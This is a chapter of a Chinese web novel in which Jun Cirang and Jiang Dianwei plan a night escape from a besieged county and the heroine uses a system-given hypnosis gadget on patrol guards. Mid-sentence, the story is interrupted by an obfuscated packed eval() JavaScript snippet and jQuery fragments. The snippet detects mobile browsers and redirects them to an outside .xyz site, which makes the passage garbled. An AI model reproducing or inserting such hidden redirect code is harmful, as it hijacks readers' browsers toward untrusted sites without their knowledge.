“慢着。”
君辞让喊住他,然后伸出纤长有力的食指点了点纸上的外室二字,“我记得刘文敬成婚多年,膝下只有刘夫人所出的嫡女,再无其他?”
严陆应和道:“确实如此。”
“刘夫人的家世比刘文敬高,为人也十分剽悍,她并不允刘文敬纳妾,而刘文敬又要仰仗岳父和大舅哥的提携,所以也就认了刘夫人的所作所为。”
“不过他经不住老娘整日里在耳边念叨‘无后为大’,就顺着老娘的心意将老家的远房表妹接到身边用来传宗接代。”
“表妹不负刘文敬所托,在刘文敬还未调任兖州前就生下一对龙凤胎,到了兖州后再诞下一子,现今又怀了身孕,据说仍然是个儿子。”
“刘文敬极为喜爱表妹所处的私生子,一有空闲就去看望他们。”
“嗯。”
“外室的宅子位于城东,”君辞让颔首,“如此,便去这处仔细查探罢。”
严陆当即领命而去。
姜点微睁大双眼,不可置信地紧盯着君辞让瞧,似是要把他的脸瞧出花儿一般,并全然忘了自己还在同君辞让赌气,啧啧称奇道:“你这脑子怎么长的?”
“怎么就能确定刘文敬是依照方位挖的暗道呢?”
君辞让执起桌上的青瓷茶杯,也不着急喝,乜了姜点微一眼,轻哼道:“不与我置气了?”
姜点微讪笑两声,狡辩道:“我哪有跟你置气啊?”
“我这大度的美少女,从不轻易与人置气。”
君辞让神色淡然,反问道:“哦?是么?”
姜点微噘嘴,“哼,你爱信不信,反正我就是你从未见过的宽宏大量的美女子!”
她不是轻易能被岔开话的人,末了又追问道:“我先前问你的,你还没回答我呢。”
君辞让面不改色、心不跳地道:“你不是说我算无遗策吗?”
“算出来的。”
姜点微捏紧拳头,两只小巧的鼻孔里直喷粗气,显然是忍无可忍想动手的模样,“君辞让,我真想一个拳头打飞你!”
【啊啊啊啊啊!太可恶了!世界上怎么会有君辞让这么讨厌的人!】
【不想说就不说呗,还拿我说过的话堵我!】
【气死我了!】
【今天我再搭理他,我就是狗!】
君辞让听到她内心奔流不息的咆哮,难得软了心肠不忍心将人给气出好歹,他抬眸示意卢玖,“快到午时了,去买些吃食回来,你家小娘子应当饿了。”
姜点微:“......”
【我又不是猪!要整天吃个不停!】
【再说了,这现成又是旱又是涝的,能买到什么吃的啊!】
【还不如啃饼子呢!】
她碎碎念个不停,君辞让完全没当回事,只让卢玖多走些地方,尽量把能买到的吃食都买回来,以便让眼前这个娇气包有挑选的余地。
对此,姜点微依旧冷脸以对。
【哼,算你小汁还有个人样!】
*
严陆目的明确,凭借出神入化的轻功很快在客栈和刘文敬外室的宅子之间跑了一个来回。
他到善阳县已经三日了,期间都没好生吃过一顿正经饭食,跳窗进了屋子后,一见桌子上摆得满满当当,就显出几分垂涎三尺的表情。
姜点微招招手,让他跟魏山两个坐下来一块儿吃。
三人没动,下意识地看向君辞让。
君辞让颔首,“坐罢。”
严陆便毫不客气地一屁股坐在姜点微身边,抓过一张洒满芝麻的胡饼大啃特啃,还问道:“城中老百姓家里莫说精米精面,就是掺了石子儿的陈年烂谷都拿不出来。”
“这些莫非是在那些个家有余粮的大户人家买的??”
卢玖不可思议地叹了口气,“自然。”
“京里的胡饼最多两文钱一个,而善阳县里的这些富户却坐地起价,五两银、六两银不止。”
“若是想吃荤腥,则十两银往上。”
严陆估摸着算了一下,“也就是说,咱们这顿饭食至少花了上百两的银子?”
卢玖撇嘴,算是默认。
严陆顿时有些苦瓜脸,可怜兮兮地看着君辞让,“郎君,属下平日里在外奔波办差,需得花销的地方数不胜数,眼下囊中羞涩,您能否...”
他唯恐君辞让拒绝,赶紧连声补充,“属下不要太多,就跟卢玖的份例大致相当便可。”
君辞让蹙眉,“若我未曾记错,你领的月银比卢玖更多。”
严陆哑然,然后抬眼看天看地,就是不看君辞让。
魏山笑道:“郎君,您莫要听信严陆的哭诉,他一得闲就去平康坊消遣,兜里怎会有多余的银钱?”
大燕狎妓之风盛行,莫说文人墨客将美人相伴引以为豪,多写诗歌宣扬,就是官员之间也时常互赠伎子,用作拉近彼此关系的手段。
而君辞让克己复礼,虽未命令禁止下属闲时不得出入酒肆歌坊,但也不喜他们流连声色。
当下他闻言便冷声与严陆道:“日后若是再犯,就滚去岭南。”
严陆大惊,“殿殿殿...”
“不不不,郎郎郎君,属下知罪了。”
他焉头耷脑的,也不知道在伤怀什么,魏山却是晓得,低声与他道,“世人常说色乃刮骨刀,你就没想过有朝一日被那女子看透身份?”
严陆下意识为其辩解,“她是个苦命人,性子也单纯,瞧不出什么的。”
魏山恨铁不成钢得很,“冥顽不灵。”
姜点微把他俩的对话听了个全乎,就道:“你既然喜欢,怎的就忍心看人受罪,而不把她赎出来?”
严陆长叹一声,“小娘子,个中纠结,当真一言难尽呐!”
姜点微觉得此时给他一杯酒,他肯定会竹筒倒豆子把心里话吐个干净,无奈桌上只有茶,她默了默,好似也勉强可以代替一下?
君辞让不同刻意去听姜点微的心声,仅是瞅她那骨碌碌的小眼神儿就知道她在想什么,抬手制止了她的动作,并把人柔软的小手握在掌中,警告道:“你安分一些。”
“别胡闹。”
姜点微还在单方面地跟君辞让冷战中,使劲想把自己的手抽回来,无果。
她恨得咬牙切齿,“暴君。”
“你真讨厌!”
君辞让充耳不闻,并把她的手抓得更紧。
待用罢午膳,几人商议了片刻该如何从刘文敬外室宅子里的暗道离开善阳县的具体过程。
根据严陆的观察,城里的盯梢在深夜里不会出现,反之由士兵组成了巡逻队会愈发密集。
通常二十人为一队,以二百米为间隔,在城中街市巷道中穿梭。
“刘文敬外室的宅子与客栈相距一个坊,若是脚程快,再走直线距离,约莫得用上一刻多钟,然而期间可能遇到的卫队不下于十五队。”
严陆在纸上画出路线图,“若是没有小娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453690|161783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,以郎君和属下几人的身手或可顺利通行。”
“而有小娘子同行的话...”
姜点微才不要被孤零零地扔在客栈里,她以为君辞让会听了严陆的话觉得她是累赘,于是赶紧揪住君辞让的衣袖,眸光闪闪,有些忐忑,却梗着脖子道:“你不能丢下我!”
她的语气强硬,可君辞让偏偏听出话里的哭音。
他敛眉微叹,语气不自觉地软下些许,“我不会丢下你,且安心。”
“哼,这还差不多。”
君辞让的话语肯定,姜点微安心不少,转脸就着急忙慌地呼叫系统,“统子,统子,快出来!”
“我以前让你找的催眠黑科技呢?等会儿趁他们不注意的时候给我,有急用!”
夏日里的农作物长得快,品种也多,所以系统最近都在忙着收获地里的农产品,也就没注意到姜点微他们的对话。
它懵圈道:“你要用在谁的身上啊?”
“城里巡逻的卫队啊!我只看到街上有人巡逻,却不知道晚上巡逻的人那么多!”
“不用黑科技是不行了。”
系统了然,然后再仓库物品管理系统里搜索了一下,找到对应物品选择了释放,便对姜点微道:“我把催眠神器放在你的包袱里了。”
“这个神器可以设定催眠对象,你到时候偷偷设置一下吧。”
姜点微心下大定,“好咧!”
君辞让不动声色地观察她乍阴乍晴的脸,见她眉眼弯弯的,想来已经解决了一桩难题,遂闭口不提。
又是夤夜时分。
姜点微给自己和君辞让又改变了一副面容,并换上面料和做工都粗糙的粗布麻衣,在三个暗卫的护送下翩然离开客栈。
系统给的黑科技相当好使。
看着小小一只像手机似的,但只需姜点微在里面提前输入好催眠对象的大致特征,这个神器就会自动识别,随之放射出一种人体听觉以外的辐射声波。
但凡出现在方圆五十米内的催眠对象都会中招。
因此,哪怕一路行来看到好几队巡逻卫队,可他们都处于不明原因的昏睡状态。
严陆主要负责探路,先还觉得是运气好遇到犯懒的了,结果发现各个如此,便跳下房顶,与魏山和卢玖道:“难道这些个蠢货今日聚众饮酒,都中毒了不成?”
“否则怎会睡死了过去?”
他的胆子大,说话的同时,他伸腿去踹路边歪倒的一个士兵。
魏山两人也弄不明白原因,稀奇得很。
姜点微捏紧藏在袖子里的催眠神器,唇角偷偷扬起得意的笑,深藏功与名,“管它什么原因呢。”
“说不定是老天看不惯刘文敬的暴行,亲自出手助我们一臂之力呢!”
说完,她催催君辞让,“事不宜迟,快走吧。”
为免姜点微跟不上速度,所以一出客栈,君辞让就背着她走。
眼下她整个人都紧贴着君辞让,脑袋也歪在君辞让的耳边,吐息间带着馨香的热气直往他的耳朵里钻。
突如其来的痒意,激得君辞让的心尖猛地一颤,他绷紧双臂,喉头滚动几息,托着人的屁股,把人往上颠了颠,嗓音也有些低哑,“老实点。”
“别乱动。”
姜点微察觉到他的语气不对,冷冰冰的,有些疑惑又哪里惹到了他,但碍于自己被他背着,相当于被他控制在手里,便老老实实地没敢整幺蛾子,只应了声。
“好叭。”